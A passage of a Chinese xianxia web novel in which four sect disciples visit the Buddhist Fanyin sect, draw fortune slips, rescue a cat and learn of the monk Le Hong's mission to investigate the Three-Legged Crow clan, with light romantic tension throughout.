明易:“怎么了?” “我感觉,”她一脸实诚,“经过这几个月的修炼,你的黑镜已经对我不起作用了。” 明易一愣,有些没反应过来,问话有些迟疑:“你……能照见我了?” 石映心摇摇头:“还没试过。只是我觉得好像更能感到大师兄你的心情了,先前是没有的。” 明易忍不住松了口气,先是客观道:“这样说来,镜面虽看起来没有太大进展,但你照人的修为还是有长进的。” 又道:“你……如今和我坦白,是想……” “没有。”石映心摇头,“只是不想隐瞒你。” 第123章 不想隐瞒他?明易听着有些感动。映心对他如此坦诚相待,而他却……可是这件事他是完全不知所措的,对他来说,就保持现在的师兄妹关系就很好,只要能够日日陪伴着她…… 明易微不可察地叹了口气:“我明白了,你进屋休息吧。” “嗯。” 石映心走到门口,关门的时候转头看见大师兄还站在那看着她,朗声道:“大师兄,你快回去吧。” 大师兄似乎点了点头,御剑飞走了。 石映心望着他飞远的身影,心中有些说不上来的茫然。她这些日子对人们心情的感知越发敏锐,但其实从小到大都是这样,她还算适应的;只是最近瞅大师兄,总觉得他身上的情绪很陌生很新奇……仿佛和别人有些不同,但也有些相同。 按理来说,她见过的情绪这么多,不该有不认识的呀?而且大师兄从小和她们一起长大,应该会像她熟悉师妹和二师兄那样的熟悉才是…… 难道是因为以前都照不到大师兄,所以才格外陌生吗? 算了,不想了,也许过段时日适应了便好。 石映心进了屋,把门关上。 * 在六月八日这个特殊的日子,归壹派某个隐蔽的山头被迫迎接了雷劫,这是有人将破境入元婴的征兆。 天地几声雷鸣,曾换月(元婴期版)终于闪亮登场。 先别提她有多高兴了,就连慕雲都十分欣慰,一副“解脱了”的模样。二人受到了石映心三人的热烈欢迎,曾换月热泪洒夏风,抱着师姐说:“这半年过去,我感觉自己已经跟不上时代了!” 慕雲翻白眼:“胡说八道什么。” “师姐师姐,你快和我说说这半年发生了什么新鲜事!” 石映心说没什么新鲜事,就是很寻常的每一天。 不过寻常和寻常也是不一样的,她还是喜欢有师妹的寻常。 顾梦真:“我看你也没什么变化嘛,要不展示一下你现在的本领?” 曾换月撇过脑袋:“急什么,以后你就知道了,我这几日要好好休息!把新出的话本都买来看个尽兴,再去东西南北膳堂把想念的菜肴都吃个遍!还有还有……” 慕雲摇摇脑袋无奈道:“真是给她憋坏了。” 顾梦真偷笑两声,故意道:“好啊好啊,你就先休息个十天半个月的,正巧过两日我们仨就要下山做任务,就不打扰你吃吃喝喝看话本了。” “喂!”曾换月立刻跳起来,“什么叫你们仨啊!我也要去——” 石映心拉着她说:“我们早就说好了要等你一起去的,就等你出来。” 曾换月给了顾梦真一个白眼:“哼,还是师姐好。” 明易说让她歇两日先,他明日先去取因果牌。小师妹说好啊好啊。 慕雲伸了个懒腰,满意点头:“好了,你们这几只小兔崽子都走了,为师算是能消停一会,可要好好休息一番。” 这倒是的。大伙都笑起来。 隔日明易便去万事树下取来了因果牌,果不其然又是话不说明白的一句诗,几人这回都习以为常了,倒是凑巧在边上看的莫默奇异道:“怎么给首诗啊?还能这样啊?” 顾梦真看向他:“莫默,你没遇见这样式儿的?” 莫默摊手:“前所未闻。我一般拿到的牌子指示都很明显。” 师兄妹四人面面相觑,一个个强撑着不肯抱怨,只含糊地敷衍:“噢噢,也许你下次就遇见了。”在心里默默这么祝福着他。 赶走莫默,四人在院子里围圈圈坐好,开始你一嘴我一嘴地讨论起此次的任务,先看看因果牌,还算不太坑,有个大致方向上的指示。 【无我无不我,无相无不相】 好了这个还是看不懂的,先撇开不谈。 【梵音门,乐鸿】 这个的意思就很明确,一看就是去梵音门找一个叫乐鸿的人。小师妹推测道:“也许是和泉芷那次一样,这个叫乐鸿的人应该身负什么任务,然后我们的任务就是去帮他完成任务,在此过程中找出因果牌真正想让我们做的事。” 顾梦真点点头道:“反正也只能这么着。” 这个时候,石映心歪了歪脑袋:“奇怪,总觉得有些耳熟。” “什么?”曾换月眨眨眼睛,“师姐你是在哪里看过这句诗吗?” “不是。”石映心摇摇头,“是好像在哪里听过这个名字。” “梵音门观德仙僧门下乐鸿。”明易看向她,“这位是摘星大会上第一个和你比试的小僧道友,你忘了?” 大师兄这么一提醒,石映心就想起来了:“记得了,光脑袋,听音棍。” 光脑袋是指乐鸿的发型,听音棍是他的武器(价值不菲),这两个确实是乐鸿、或者说他们梵音门大部分弟子的显著特征。 曾换月:“原来师姐认识这个乐鸿啊!” 顾梦真:“名字都记不得,这种程度根本不算认识吧?” 石映心:“我记得他说他们梵音法门精在内法,听音棍法只是外功,还说和我有缘再会。” 顾梦真:“听起来是想再和你打一场的意思嘛?” 石映心:“和他再打也行。” 明易:“……好了,都回去收拾一下,明早出发梵音门。” 小师妹:“梵音门在哪呀?” 顾梦真:“天机阁的东边,幽冥宗的西方,梵音洲以镐京为首邑。” 石映心:“镐京有什么好吃的?” 顾梦真:“好像听说有什么……臊子面?” 曾换月:“臊子面啊,那我知道了,还有葫芦鸡是不是!” 石映心:“葫芦鸡?” “葫芦鸡就是……” 明易:“时候不早了,还有……”我们不是去吃东西的。 石映心:“我要吃臊子面,葫芦鸡。” 明易:“……好。” 这次曾换月能正大光明地和师姐师兄一起下山,可把她得意坏了,抬着下巴,嘴巴要撅到天上去,看得慕雲很是好笑:“你如今刚破境,境界尚不稳健,尽量先不用元婴期的功法,谨慎元婴出窍。” “知道啦师父,我和师姐师兄出去,哪里用的上我元婴出窍啊?”曾换月摆摆手,“安心啦安心。” 慕雲呵呵道:“有你跟去为师想安心也难。好了,总之你们一切以安全为先,要听大师兄的话;做完任务就早些回来,别在外头惹事。” “是,师父!” 于是四人挥挥手暂时告别师父和归壹派,出发梵音门! * 归壹派驿站==> ==>梵音门驿站 梵音门驿站设立在镐京城郊外的梵音山下,这山不是他们归壹派那种抬头望不见顶、放眼瞧不见尽头的重重山脉,只是普通的凡间的山……这里没有拉踩的意思,选址在凡山上是梵音门的别有用意。 与其他门派想要寻求风水宝地、也就是灵气充沛的地段不同,梵音门似乎更看重人间的香火,毕竟是佛修嘛,在此基础上再寻求有灵气的地界,比如梵音山;看名字就知道,这山是归于梵音门的,至于是他们先祖开发的还是后来居上的,这就不得而知了。 佛修也可以分为两类,一是避世的,关起门来对着佛像心无旁骛七窍全关就是修行;二是像梵音门这样,与民间凡人紧密联系着,除了维护管辖之地的安定之外,还负责为俗客答疑解惑,助他们“沟通神明”……当然,香火钱也是要收的。 听她们二师兄说这还是个暴利生意呢,当时顾梦真啧啧道:“难怪人家的听音棍这么贵哈。”阴阳怪气又酸酸的。 好了好了二师兄,别家门派的生计就别太在意了,主要怕你知道了受不了。 她们从梵音门驿站出来,原以为在郊外会清静些,没想到外头好多人啊!山门外的道路也很宽阔,真是很有先见之明了。边上有几位穿着梵音门棕黄色门服的弟子在进行车马人流疏导工作,喊着各位施主不要急啊,一个个上山嘛。 曾换月看向边上排起长队的马车,还有在马车前后左右擦过来的人群,惊叹道:“不是,今天是什么大日子吗,怎么这么多人来礼佛啊?” 边上有个路过她的大娘听见了,热心解释道:“妹子是第一次来吧,梵音门的香火就是这么旺盛的,日日这么多人呢。今儿我也是来得晚了,要是寅时来人就没这么多,上山能顺畅些。” 曾换月:寅时是凌晨四点啊大娘!你晚上睡哪呢? 这话她当然没问出来,只是震惊地看着大娘挤进人群中不见了。 “人太多了。”石映心皱起眉头,“我们飞上去吧。” 明易也有此意,毕竟他们是来办事不是来上香的,何必排这个队呢,不过:“此处人多眼杂,只怕随意飞行惹起混乱,寻个清静的地方飞吧。” 师弟妹们自然没有意见。 结果找个清静的地方还真难诶,最后还是尽量不惹人注目地叠法术(隐身诀+御物)上去了。 好在是飞了,不然她们都不知道原来这梵音门还分前山和后山,中途相隔甚远;香客们主要是在前山正面的几座殿宇礼佛,压根看不见后山的景色,再加上她们飞行时还穿过了一面结界,看来后山真正的“梵音门”被隔离得很好。 “别说啊,这梵音门还挺会规划的嘛。”顾梦真感叹道,“前山做生意、咳,前山入世建庙宇迎香客,后山避世设结界保清静,这是两手抓啊!” 曾换月也道:“我说呢,前山这么吵而且弟子还要帮忙管理,怎么有时间和心情修炼呢?原来人家早就想得周全了。” 明易笑了笑道:“虽说我们归壹派是天下第一门派,但其他七大门派也是不可小觑的。” 第124章 四人飞过葱绿繁茂的山景,落在梵音门后山大门外。 看守的两位弟子问过了她们的身份,又查验了归壹派的门派,并不多阻拦就让她们进去了。明易同两位弟子道:“唐突来访贵门,于情于礼该向你们门主请安。” 左边的弟子道:“几位道友不必客气,我们梵音门没那么多规矩;再说门主日理万机,我们也不知道他去哪了。” 右边的弟子说:“你们想找谁就去找便是,不用拘束。” 明易便说:“我们要找的是观德仙僧门下的乐鸿道友。” “乐鸿啊。”左边的弟子似乎认识,“几位可以去清心殿问问,那是观德仙僧的居处。” 右边的弟子把手一指:“大概在半山腰的位置,你们飞去便知道了。” 四人道了谢,进了门后便往半山腰处飞,一路飞上去瞧见不少梵音门弟子在修炼锻体耍棍子,一排排一列列整齐动作,空中不断传来除了他们的大声吆喝,还有棍子破空的呼呼声;远远望去,就见许多脑袋在太阳的照射下闪闪发光。 “哇塞,”曾换月站在师姐的剑上感叹道,“他们好有精气神啊。” 顾梦真点点头:“这么多人棍子一耍起来确实很威风凛凛的。” 曾换月问前边的石映心:“师姐师姐,我们归壹派剑修练剑的时候也这么有排场吗?” 石映心说不知道,她都是在黑竹林自己玩的。 曾换月说师姐有点可怜啊,转头又问大师兄,大师兄说是的。 她对练剑没啥兴趣,这会倒是想哪天去看看了。 很快她们便到了半山腰的清心殿。一落地就看见殿外有个在扫地的弟子,见来了人,对方便走来,单手竖在身前朝她们行礼:“阿弥陀佛,几位道友欢迎莅临。” 哎呀好客气啊,四人也纷纷和他问好、互相介绍,得知他是乐鸿的师兄乐学,又问他乐鸿在不在啊。 乐学道:“乐鸿此时应在前山当值,可能要午膳时候才能回来稍作休憩。不如就让小僧代劳先为几位道友寻个屋子暂时休息等候?” 四人说好啊好啊。 清心殿、或者说梵音门的整体建筑都属于低调奢华型,瞧着平平无奇,其实用材昂贵,细节处可见真章;就像他们弟子的听音棍一般,谁知道这仿佛是路上随便捡来打磨一下就能用的棍子来头这么大呢。 乐学给她们安排了两个邻近屋子,就说他要继续回去扫地了,四人可以随处逛逛,就当在自己家一样,有事可以来找他。 四人说好的好的,你去忙吧。 乐学走后,她们在清心殿里随处逛了逛,环境很幽静,处处透着禅意;路过某几个屋子的时候从门口就能瞧见里头摆着的威严佛像,佛像前还有几个蒲团,看起来像是弟子们静心念佛的地方。 梵音门这些与寺庙类似的殿宇和院落是别有一番风味,但似乎找不到什么有趣的乐子,甚至这神圣平和的安静让她们的表情也不自觉肃穆起来,心中好死寂。疯习惯了的几人蹲在池塘边逗了会鱼之后,不得不感到一些无聊和郁闷。 顾梦真蠢蠢欲动地提议道:“要不我们去前山呗?顺便找一下乐鸿?” 明易心想你是不是说反了。 “好啊好啊,”小师妹跳起来,惊得她面前的鱼儿游开,“还是前山热闹些!干等着多没意思啊。” 明易知道这三个静不下来,于是问石映心:“映心,你可还记得乐鸿是什么模样?” 石映心挠挠下巴:“……见到应该就记起来了。” 曾换月挽住师姐的胳膊:“记不得就记不得嘛,反正到时候找个弟子问问就知道了。我们快走吧!” 那倒也是:“好。” 离开后山的结界之后,隐约就能听见前山传来的动静,似乎连飞过 的鸟儿、吹过的风都活泼些,几人脸上渐渐轻松起来,加快速度往前飞去。最后是找了一处殿后“闲人免进”的地方降落了,前边拐角一转弯,就见香客们的人头攒动。 看这些来礼佛的人,有被父母抱在怀中的小孩,有被儿女搀扶的老者,还有面带笑意的或是神色苦楚的;有些人更是一路磕长头磕上来,额头上红黑的脏印子很显眼……在这样的朝圣地,人们的性情格外鲜明,个个脸谱生动。 四人挤着走过人群,找到一个正在大殿门口分神香的梵音门弟子,问他是否认识乐鸿。 “乐鸿啊。”这位弟子说,“我记得他今日是在伽蓝殿解签,就是右边那座神殿,进去看到排队的长龙尽头就是了。” “多谢多谢。” “客气客气。” 于是又要挤过人群去伽蓝殿。途中曾换月忽然发现什么,有些惊奇道:“咦,这里怎么没有浓烟啊,我上辈……咳,上次有一回去别的寺庙,人还没这么多呢,一进去眼睛都被熏得睁不开了,一边哭一边烧香的。” 石映心想了想,那看起来大家都很诚心了。 不等她回复,曾换月又自言自语道:“也许是梵音门设了什么收烟的阵法,还是什么宝器呢?不过这样确实舒服许多,怪不得这么多香客来呢……” 石映心这时候问:“来的香客多,我以为是因为梵音寺灵验。” 顾梦真的声音在嘈杂声中传来:“这不一定,也有可能是这的名气大,毕竟梵音门可是八大门派之一……哎呦!谁的香灰掉我手上了!” 曾换月:“我衣服上都掉了好多呢!” 磕磕碰碰的对话中,她们好不容易挤进了伽蓝殿,前殿有不少人在拜佛,绕到后殿一看,果真有许多人在排队,顺着队伍走上去,就瞧见一个穿着梵音门门服的年轻弟子在一张桌后解签。 石映心瞅着那个光头,疑似认了出来:“好像确实是他。” 四人在队伍外侧不远不近地看着,明易道:“看来乐道友此时不便,我们还是等会吧。” 顾梦真点点头:“听乐学的意思,他中午的时候就能休息了,那我们随处去逛逛?” “你们去吧,我也想解签。”石映心忽然说,“没玩过。” 说着就转身去队伍最后排队了。 曾换月连忙跟上:“师姐等等我!” 两位师兄面面相觑,顾梦真道:“大师兄那你看着她俩呗,我要去四处逛逛。” “嗯,别跑远了。” “啊呀你当我是映心呢!” 明易:“……五十步笑百步。” 某人还洋洋得意:“那我也只是走了五十步远……不说了,走了大师兄!” 明易对求签这类的民间玄学活动并没有兴趣,他猜想二师弟是去考察梵音寺的经营情况了,比如一根香卖多少钱之类的;他还是安安分分地待在两个师妹边上好了,确保她俩的安安分分。 解签的队伍虽长,但进展还挺快,不过两刻钟便排到了石映心。明易在边上看她抽签,这家伙研究着签筒,没分一个眼神给乐鸿,倒是后者喝水的时候瞅见她差点呛到,“咳咳咳”几声惊诧道:“你……你是……归壹派的石道友?” 石映心把抽出来的签递给他:“乐鸿道友,许久不见。” 乐鸿下意识接过签,又看到边上的明易,这天才他也有印象:“你……你们?你们来梵音门……玩吗?” 明易点头道:“乐鸿道友,我们是来找你的。” “来找我?” “是,不过等你解完签再说也不迟。” 这时候石映心说:“可以帮我解签了吗?” “噢,好……”乐鸿还是有些懵的,他看了眼签文,又问石映心,“石道友想问什么?” 想问什么?这给石映心问住了,她其实没什么想问的……但排都排了这么久的队了,不问似乎有些亏;于是她想起排她前面那个女香客的问题:“我问……姻缘。” 什么?她要问什么? 师妹师兄两双四只眼睛猛地瞪大了,直勾勾地盯着面前的人:这是什么情况,石映心居然会关心这个问题? 比起他俩的震惊,乐鸿就很习惯,所有签文的解释他早就熟能生巧,瞥一眼就能解出,很快便脸色镇定且专业道:“第99签,未曾求神神自灵,小人求福福来应;若问姻缘迟与速,但看桃李结子成……嗯,意思就是佳偶天成,只需静待便可,属于石道友的缘分在该来的时候便会来的。” 石映心还未理解,她师妹就凑上来:“啊?什么意思啊?是说我师姐未来会谈恋爱吗!?” 乐鸿被她吓一跳,见是个新鲜面孔,听她的话应是与石道友认识的,好声好气地解释道:“若石道友问的是姻缘,那确实是的。” 曾换月:oO 她身后的明易:个个 石映心听罢,礼貌道了谢,然后就让到了边上。轮到曾换月了,这会还在震惊之中,瞪着眼睛抽了签,递给乐鸿道:“额,我师姐居然要谈恋爱……不是不是,我要问的是什么时候有人能赏识我写的话本呢?” 问事业啊。乐鸿看了看她的签文,笑道:“公侯将相本无种,好把勤劳契上天;人事尽从天理见,才高岂得困林泉。道友放心,只需坚持潜心耕耘,世人终有一日会发现你的才华,届时前途坦荡,势不可挡。” 给曾换月听得乐开了花:“哎呀,我明白了!” 二人离开队伍,看到边上有一个写着“功德箱”的小箱子,前边求签的香客正在往里头投银两。乐鸿给她们解释道:“解签不用钱,但香客可以自愿布施,积德行善。” 师姐妹俩表示了解,多少给了点钱。 第125章 和乐鸿知会了一声等会来找他,曾换月拉着师姐从大殿后门出去,明易紧跟其后。 一站定,小师妹就问:“师姐你怎么问姻缘啊,你想谈恋爱啦!?” 石映心见她大惊小怪的模样,摇摇头道:“没有,只是不知道问什么,便借了前面香客的问题。” 她师妹师兄闻言皆是松了口气,但前者很快又提起气来:“但是但是,那个乐鸿说你好事将近啊!” “不是好事将近,”明易在边上幽幽地更正,“是说该来的时候会来。” “差不多啦!”曾换月哇哇道,“重点是在师姐会谈恋爱!” 对,是这个重点。明易抿唇。 石映心想了想,还是有些不解:“谈恋爱怎么了?” “谈恋爱就……”曾换月支支吾吾的,撅起嘴来,“不行啊,你如果谈了恋爱我怎么办?” “我谈恋爱和你有什么关系呢?” “对啊,和我没有关系!你可是我师姐,怎么能和我没关系呢?”她哇哇大叫着,“你谈了恋爱就没工夫理我了!指不定还要去那个人的门派住,到时候见你都难!” 石映心说:“你想得太远了。我不会离开归壹派的。” 曾换月嘴巴越噘越高:“你只是现在这么说……” 石映心淡定道:“为什么不能让他来我们归壹派?我们是天下第一门派,没有哪里比我们这好了。” “嗯?”曾换月一愣,“哦,那倒也是哦。” 想想又觉得不对劲,叽里咕噜地说:“可是我不想你跟别人好了,我们四个人把日子过好比什么都重要……是不是?没有人能横插一脚进来的……” 石映心感到她心中的不安和恐慌,虽然有些不明白,但很快便说:“那好吧,你若是不喜欢我就不谈恋爱。” “真的吗师姐?” “真的。” 曾换月看起来很快被哄好,挽住师姐说:“在我们修仙界谈恋爱不是主流,认真修炼、一心向道才是正解……” 说到这她突然奇怪这些台词怎么轮到她说了,以前应该是大师兄的口头禅才对,于是干脆问面前好像有些走神的人:“大师兄你说是不是?” 明易:…… 他回过神来,很轻地应了一声。 石映心看看大师兄,敏锐地感到他的情绪有些奇怪?不过为什么她谈恋爱,师妹和大师兄反而有别样的情绪呢?明明她真的…… 方才只是随便问问啊。 至今为止她从未想过要和谁谈情说爱,哪怕看话本时看到男女主人公如何如何,但这样的情节对她来说和别的打打杀杀、悬疑惊悚的剧情并无任何不同……她很早就发现,她不能从话本中得到任何感情,许多时候只是看个故事,无法与其中的爱恨情**情。 但换月会因此生气,会想扇男主人公巴掌,会为其中悲惨人物的遭遇流泪……她却不会。 也许一件事总有正反两面,像她这样能照见人情绪的镜灵,注定会在其他方面比寻常人缺少可以生成情绪的途径。 而且她没有办法产生没照见过的情绪。 这其实是她近段时间才发现的。 所以如果她要谈情说爱、喜欢上某人的话……那也是要先照见这样的心情才行,目前看来似乎没什么可能。 如果要问她想不想谈,石映心的回答就是:没想法,但好奇。 话说回来。 人多的地方闷得慌,三人后来离开了伽蓝殿去边上看山景,这前山的林中还有不少小动物呢,除了叫个不停鸟儿,还有松鼠兔子野猫的。有不少香客带了些小食来投喂,可那些野猫似乎不愁吃,好几只都非常壮硕,懒洋洋地躺在那晒太阳,旁人嘬嘬嘬也不理的。 逛着逛着忽然听见前边有什么躁动,热心的三位归壹派弟子连忙上前查看情况,原来是一辆肥猫跑到树上捉鸟结果下不来了,然后有人就要上去救猫,结果猫救到了,自己也下不来了。 这事对会轻功还会飞的三人来说不要太简单。 石映心看见树上那人怀中抱着的大肥猫,两三步轻功飞上了树,在众人的惊呼声中踩在的男人旁边的树枝上。 男人微惊,转头看去,就见这位女侠朝自己伸出手,他仿若看到救世神,心中砰砰跳了起来,把手伸了过去…… 石映心:“把猫给我。” 男人:? “……哦,好。” 石映心抱着猫就跳了下来,自己感觉日行一善了。 树上的男人:OO? 旁观的众人:OO? 最后还是明易飞上去把困在树上的男人拎了下来。 这男子瞧着文质彬彬的,下来后先是朝明易作揖道谢,接着又对石映心道:“姑娘真是人美心善,身手还好……” 石映心矜持点头。 男子莫名脸上一红:“不知姑娘是何方人士?芳龄几许?可有婚……” 明易把师妹的肩膀一掰,强制启动转身,居然没听别人把话说完也没礼貌道个别什么的就要走:“走吧。” 曾换月忽然反应过来,拉着师姐说:“走吧师姐!” 石映心虽有些奇怪,但也没说什么,跟着师兄和师妹就走了。 呆在原地的男人:?? 走得远一些了,小师妹就翻了白眼道:“一个连爬树都不会的人还想搭讪我师姐,问问问,问他个爷爷!师姐,以后遇见这种人你理都别理,问就是一句话:关你屁事!” 石映心看看有些不满的小师妹,又看看面无表情的大师兄,点点头道:“知道了。” 她以为这件小事就这么过去了,毕竟换月是很快就将其抛到了脑后,又兴致勃勃地说要跑去看山涧瀑布;但奇怪的事……大师兄好像一直沉溺在刚刚的情绪中?石映心感觉出来了,她可没照。 奇了怪了,以前不知道,难道大师兄本来就是这么……怎么说呢,情绪不干脆的人吗? 还是说是她感觉错了? 石映心有些想不明白,想不明白就难受,就干脆趁着小师妹去前边玩水,直白地问:“大师兄,你怎么不高兴?” 明易先是很快地、仿佛是下意识地说:“没有不高兴。” 但自己说完自己愣住了,望向师妹直勾勾的眼神看了会,竟有些不自在地移开了视线:“没什么,只是忧心任务的事。” 石映心:“那你上一句为什么说谎?” 明易:…… “随口说的。” “大师兄你怎么是个随口说谎的人?你明明教导我们要诚实地做个好人。” 明易:………… 他一时不知如何回复,直到石映心又问:“所以这两句话中,究竟哪一句是骗我的?” 明易这下是感受到了她的可怕之处了。 好在小师妹很快就在那边叫起来:“师姐快来啊,这里还有好多小鱼!” 石映心瞅了他一眼,转身去找曾换月了。心虚的某人这才松了一口气……可也只是一口气罢了,那签文和仿佛预警一般出现的那个救猫男子,早已变成压在他心上的大石头。 前边说过,他对这些民间玄学活动并不感兴趣,但这事一发生在某人身上,就不得不让他胡思乱想起来。 难道映心之后真的会跟谁…… 不可能,她根本就不懂…… 但是……很难说明这个情况,就像境界越高的人,她们的直觉便会越强;其实修仙人士去抽这样的签文是有一定程度的预言作用,比凡人要准确许多,只是看预言实现程度的多少罢了。 映心她…… 映心…… 明易叹了口气。 在前山瞎玩了一会,几人听见层层殿宇中传来午时的钟声,边上有香客说“到用斋饭的时候了”“快去排队吧”;于是他们便知道乐鸿该下值了,跑去伽蓝殿一看,果真见他正在遣散排队解签的人。 之前单独行动的顾梦真也在边上等着。 乐鸿见她们来了,有些过意不去道:“实在对不住,你们千里迢迢来找我,还要叫你们久等,只是我今日当值,实在是不好走开……” 明易说:“乐鸿道友客气了,分明是我们冒昧前来。” 曾换月点点头:“对啊对啊,没事的,而且我们也没苦等着,四处在玩呢。” 乐鸿见她们不在意,心下松了口气,笑道:“既然如此,不如几位先随我去后山用完斋饭,有事再谈?” 石映心这会记起她要吃的臊子面和葫芦鸡,立刻点头道:“好。” 期待期待~ 后山,梵音门膳堂。 石映心看着面前的馒头青菜萝卜干,又看看边上的素面豆腐蒸红薯,一时不知选什么好,只发愣着。 乐鸿热情道:“石道友不要客气,我们这的膳堂都是免费的,想吃什么拿就好了,不过吃多少拿多少,不要浪费哦。” 石映心:“……嗯。” 原来也有根本不想选所以无从下手的时候。瞅瞅师兄和师妹的脸色,似乎也和她想得差不多?但大家都很礼貌地没说出来。 不过来都来了,还是吃点吧。最后她选了一碗看起来比较有卖相的香菇青菜素面,一个酱油煎蛋,还有一小碟微辣萝卜干。本是不抱希望的,但没想到这些清汤寡水的吃起来味道还真不错,几人都吃得干干净净。 吃完饭,顾梦真抬起头问乐鸿:“那个乐鸿道友……你们梵音门其他膳堂都有什么特色菜啊?” 乐鸿眨眨眼睛:“特色菜?可是我们梵音门只有这一个膳堂啊……对了,前山倒是有免费供给香客斋饭的膳堂,不过两个膳堂每日的菜色都是一样的。” “啊?”曾换月惊讶道,“只有这一个膳堂啊?够你们吃吗?” 乐鸿闻言,有些不好意思地挠挠头:“其实很多弟子在辟谷后就不再有食欲了,是我比较贪吃,这才来膳堂吃饭……” ……不,乐鸿,就你们膳堂的菜色,你是远远够不到“贪吃”一词的;再说若你这叫贪吃,那她们算什么呢? 第126章 瞥了眼沉默抿唇的师弟妹,明易试图说回正事:“既然饭也吃好了,不如我们寻个合适的场合说话?” 乐鸿连忙应下,很快便带她们来到了自己的屋中,还专门去泡了茶来。 等五人都安心地坐下喝茶了,明易便说起了正事,将他们的来意解释了一番。乐鸿接过因果牌看了看,若有所思道:“无我无不我,无相无不相……这有些像我们佛学里的真言。” 见他有思绪,顾梦真忙问道:“是吗,那是什么意思啊?” “无我无不我,应是说心本无相无形,随缘而转,可成众生,众生皆是我;但本心即灵魂是不变的。”乐鸿试着解释:“无相无不相,可能是说诸法皆空无自性,一切都是因缘和合的假象;空性不碍缘起,虽都是假象但依旧会显现,如镜映万物而镜体不染。” 四人:O0O…… 奇怪,怎么有听没有懂啊? 算了,反正她们也习惯了。曾换月问:“乐鸿道友,你近日是否有什么要事去做?我想我们来便是要帮你的。” “确实是有件事……”乐鸿似还没回过神来,看看几人,“不过几位为何要来帮我呢?” 曾换月指了指因果牌:“这是我们的任务呀。” 乐鸿还是很表情缓慢地疑惑着:“可上面这句真言与我有何关系呢?” 顾梦真摊手:“不知道,不过我们是打算缠上你了。” 乐鸿:OO? 石映心问:“帮你做任务不是好事吗?” “是……不过,”乐鸿腼腆一笑,“我担心麻烦你们。” 明易诚实地说:“我想是我们要麻烦你了。” “怎么会。”乐鸿摆摆手,“有人帮我,我高兴还来不及。我只怕我帮不到你们,毕竟不清楚你们的任务是什么……” 石映心不再理会他的不好意思:“所以你的任务是什么?” 乐鸿说:“我受师父之命,不日便要潜入三足乌族,找到他们逆天而行的真相,为之后我门接管此族统治收集顺应天理的证据。” 石映心默了默:“听着有些复杂。” 乐鸿点了点头:“是有些复杂和残忍的,关系到一个小族的存亡。” 曾换月打量着他,有些一言难尽道:“乐鸿道友,你瞧着年岁轻轻,怎么就被委以重任了?” 乐鸿挠挠自己的光头:“师父委以重任,徒弟不敢不从。但我想师父是不会为难我的。” 曾换月心说这家伙看着就没心眼的模样,还要去做一个“潜入”当卧底的任务,他师父若不是在为难他,就是她们小瞧他了?难道他只是看着憨,其实可聪明了? 算了算了,反正不管他是什么成分,她们都得跟着去。 去之前自然要先了解一下情况,顾梦真问道:“这三足乌族是什么来头?” 乐鸿想了想:“其实我也不太了解,只听说是个归顺于朝廷统治,但其族内部有自己一套区别于我国的族规……与其说是一个小族,更像是一个小国。只要没惹出什么事来,朝廷是不会管的。” “不过因其在我们梵音洲的境内,长老他们倒是会关注三足乌族的动静;这几年发现他们陆陆续续有些不显眼的小动作,长老们便有了戒心。前几日我师父夜观天象,发现三足乌族那处天象有异常,怕是有些灾祸……” 说到这他顿了顿,看向三人道:“师父曾说,此族避世已久,固步自封,怕是甘愿抱残守缺,就是做出什么违背现今道德的事也是极有可能的;若是继续放任他们自得其乐,可能会招灾揽祸……所以师父命我去查明真相。” 他解释这么多,大伙也听明白了,其实就是: 这个三足乌族避世又愚昧,梵音门担心他们做什么蠢事殃及池鱼,所以趁他们还没搞出什么事来先收集了罪证,将这个小族收入囊中管理,就能省心许多。 四人都不了解三足乌族,因此拿不准这个任务的难度。曾换月干脆直接问道:“乐鸿道友,你觉得这事难吗?危险吗?你师父不会坑你吧?” 乐鸿挠挠头:“我没想过难不难,危不危险,总之再难再危险也是要去做的。不过师父肯定是不会坑我的。” “那我就实话和你说了。”曾换月忽然严肃了脸色,“我们因果牌颁布的一阶任务可都是很难的,不然也用不上我们四个元婴期的厉害修士都来帮你的忙。” 乐鸿闻言,不惧反笑道:“这样看来,有你们四位在,我的任务再难也是能完成的。” 四人:……哦那确实是这么回事没错哈。 叽里呱啦又说了一会,乐鸿忽然站起来道:“实在对不住,午休时候过了,我得赶去伽蓝殿解签。” 几人自然不会阻拦。等他一走,曾换月就忍不住道:“我说这个乐鸿,怎么看起来呆呆的?” 明易不赞同道:“这么说不好。” “师姐你觉得呢?” 石映心想了想:“有一些。” 顾梦真就说:“如果他确实有些呆的话,他师父观德仙僧还派这个任务给他,一定他有其他的过人之处。” 明易颔首道:“说得不错,切忌轻视他人。” 曾换月以为大师兄是在说自己,撇嘴道:“我才没有轻视乐鸿,我说他呆呆的是觉得他可爱呢!” 又用胳膊挤了挤方才赞同她的师姐:“是不是啊师姐?” 石映心其实任何呆还是可爱的想法都没有,只是师妹问了,她也不想听师兄唠叨,于是就点点头:“嗯,不是轻视,是说他可爱。” 顾梦真哈哈笑起来:“哪里有说男人可爱的!” “哪里没有?”曾换月啧啧道,“你不知道可爱这个特质对男人来说多宝贵,简直可遇不可求……是不是啊师姐?” 石映心:“嗯。” 顾梦真指着师妹:“你看映心跟个呆头呆脑小木人一样,你问什么她都应的。” “切,是你不懂女人的心思!” “那你也不能代表世间所有女子啊!” “反正师姐和我是一样的。” …… 又吵起来。 原先不想掺和二人无聊的争吵但多少会说两句让她们闭嘴的明易,这次却奇怪地一声不吭,只是时不时抬眼瞅一瞅看热闹的某人,心中有些问题: 映心……真是觉得这么觉得的? 但他一点也不可爱。 ……怎么办。 * 和乐鸿一起去用晚膳的时候还遇见了观德仙僧,双方会面后寒暄了一会,观德仙僧得知她们的来意,很客气地请她们多多关照乐鸿。几人自然谦虚地接下话。 晚膳和午膳并无多大差别,清淡朴素的好吃,吃了肚子会饱,但食欲却没多少满足。吃完饭乐鸿说要去上晚课,热情邀请四人一起去旁听,遭到了毫不留情地拒绝。 看着乐鸿开心去上晚课的背影,石映心收回视线,转头说:“我要吃臊子面,葫芦鸡。” 曾换月也受不了了:“从来要么是不吃,要么就大吃大喝的,这白粥馒头小青菜是什么意思哦?” 顾梦真也摸摸肚子道:“唉,难得都来了梵音洲……对了,反正晚上也没事干,要不就趁着乐鸿上晚课,我们去镐京城里逛一圈,吃点大鱼大肉再回来吧?” 小师妹立刻道:“我是曾换月,我同意!” 三师妹秒跟:“石映心也同意。” 明易虽没兴致,但他知道若是不同意这三人就要闹腾了;再说现在确实没事,马上就要入夜了,总不好在人家门派里瞎逛;而且镐京也不远,御物飞来飞去很快便能回来,并不耽误什么……映心似乎真的很想吃臊子面葫芦鸡。 大师兄:“好,速去速回吧。” 